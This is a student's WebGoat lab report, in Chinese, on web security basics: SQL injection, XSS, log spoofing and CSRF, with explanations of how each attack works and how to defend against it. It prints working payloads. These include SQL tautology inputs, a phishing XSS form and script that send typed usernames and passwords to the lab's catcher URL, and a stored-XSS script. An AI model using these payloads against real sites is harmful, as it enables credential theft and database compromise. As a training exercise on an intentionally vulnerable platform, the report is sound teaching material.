码迷,mamicode.com
首页 > Web开发 > 详细

2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp9 Web安全基础

时间:2020-05-23 13:00:32      阅读:92      评论:0      收藏:0      [点我收藏+]

标签:value   info   jsp   应用平台   disco   搜索框   攻击   转移   handle   

实验内容

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

实验后问题回答

  • SQL注入攻击原理,如何防御
    • 原理:是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
    • 防御:前端使用正确的input type,比如email;jsp中调用函数检查是否包函非法字符,做好规范校验;使用正则表达式过滤传入的参数;采用预编译语句集PreparedStatement的使用它的setXXX方法传值。
  • XSS攻击的原理,如何防御
    • 原理:即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。简单的说,在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。
    • 防御:在表单提交或者url参数传递前,对需要的参数进行过滤; 检查用户输入的内容中是否有非法内容,如<、”、‘、%等等。
  • CSRF攻击原理,如何防御
    • 原理:CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。
    • 防御:验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。

实验总结与体会

????本次实验是在WebGoat这一平台上实现的,我们通过Webgoat了解了web应用可能中存在的各种安全漏洞。整个实验过程比较顺利,Webgoat的教程也比较清晰明了,只是英文太多看的头疼,但是实践成功时,成就感满满。

实践过程记录

开启Webgoat

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

  • 下载webgoat-container-7.0.1-war-exec.jar文件

  • 在含有该文件的目录下,命令行输入java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现Starting ProtocolHandler证明开启成功
    技术图片

  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面
    技术图片

  • 可以使guest或者webgoat登录,但是登陆上以后发现跟别人的界面不太一样,查了下别人的博客发现是“编译后的java程序与Linux上的java Se版本不一致而产生的错误”,需要下载jdk1.8,参考博客
    技术图片

  • 以root用户再次运行java -jar webgoat-container-7.0.1-war-exec.jar,并打开网页,终于成功啦
    技术图片

Code Quality

Discover Clues in the HTML

  • 查看网页的源
    技术图片
  • 用户密码就写在那里,我都惊呆了
    技术图片

SQL注入攻击

Numeric SQL Injection

  • 如果一开始就是查看元素的源代码,就很容易找到sql语句,加个or 1=1
    技术图片

  • 修改完Go一下
    技术图片

Stage 1: String SQL Injection

  • 修改输入框的html值,密码输入包含永真式5234‘ or ‘1‘ = ‘1
    技术图片
  • 攻击成功后就可以admin对员工做修改啦
    技术图片

XSS攻击

Phishing with XSS

技术图片

  • 因此可编写XSS和一段Javasript,第一部分html语言创建一个表单。
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
  • 第二部分将信息提交给webgoat
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("You are under attack!!!User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
  • 将代码组装,输入到搜索框里
    技术图片

Stored XSS Attacks

技术图片

  • 可以将html填入到Message里中,可以简单一点加一句<script>alert("5234");</script>
    技术图片

Log Spoofing

  • 题目:目标是让log像一个用户名“管理员”已经成功登录。(入回车(0D%)和换行符(%0A))
    技术图片

CSRF攻击

跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。

Cross Site Request Forgery

  • 阅读题目
    技术图片

  • 实践
    技术图片

CSRF Prompt By-Pass

  • 阅读题目
    技术图片
  • 实践
    技术图片

END

2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp9 Web安全基础

标签:value   info   jsp   应用平台   disco   搜索框   攻击   转移   handle   

原文地址:https://www.cnblogs.com/ysz-123/p/12919895.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!